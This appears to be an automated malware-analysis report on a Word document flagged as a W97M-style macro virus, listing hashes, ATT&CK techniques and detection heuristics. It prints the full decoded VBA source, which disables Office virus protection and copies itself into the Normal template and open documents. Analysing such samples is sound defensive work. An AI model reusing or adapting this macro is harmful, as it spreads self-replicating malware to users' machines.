Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5b45397d384bbdb1…

MALICIOUS

Office (OLE)

70.0 KB Created: 2015-07-17 08:50:00 Authoring application: Microsoft Office Word First seen: 2016-03-01
MD5: cf14f270e7b988ebbf9e1cfdc93737c3 SHA-1: e63586c5c76878897ff7a0319c7bb1bb592a7cc3 SHA-256: 5b45397d384bbdb12e1cbb4d01155276c3482227db76062b5709c0d5b71b287e
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros that attempt to disable virus protection and replicate themselves to other documents. The Document_Open macro is designed to execute upon opening the document, disabling macro security and copying its code. This behavior suggests a self-propagating macro-based malware.

Heuristics 4

  • ClamAV: Heuristics.Macro.DisableVirusProtection-6136181-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.Macro.DisableVirusProtection-6136181-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1441 bytes
SHA-256: 9299e72afe1cfe327ca211179d4256d1d66c64ceec6e639fbb1886a44a31df44
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Close()Open()Close()Open()
Private Sub Document_Open()
    On Error Resume Next
    Options.VirusProtection = False
    EnableCancelKey = wdCancelDisabled
    Set maci = MacroContainer.VBProject.VBComponents.Item(1)
    Set macic = maci.codemodule
    ns$ = Left(macic.Lines(1, 1), 21)
    Set inf = NormalTemplate: nsi$ = ns$ + "Close()"
        If MacroContainer = inf Then Set inf = ActiveDocument: nsi$ = ns$ + "Open()"
    Set infc = inf.VBProject.VBComponents
    Set infi = infc.Item(1)
    Set infic = infi.codemodule
    infi.Name = "ThisDocument"
    For mx = 2 To infc.Count
        infc.Remove infc.Item(2)
    Next mx
        If infic.countlines <> macic.countoflines Then
            infic.deletelines 1, infic.countoflines
            For coco = 1 To macic.countoflines
                infic.insertlines coco, macic.Lines(coco, 1)
            Next coco
            infic.replaceline 1, nsi$
        End If
    If Left(ActiveDocument.Name, 8) <> Mid$(macic.Lines(1, 1), 13, 8) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    EnableCancelKey = wdCancelDisabled
End Sub
'ThisDocument v 1.0 1999

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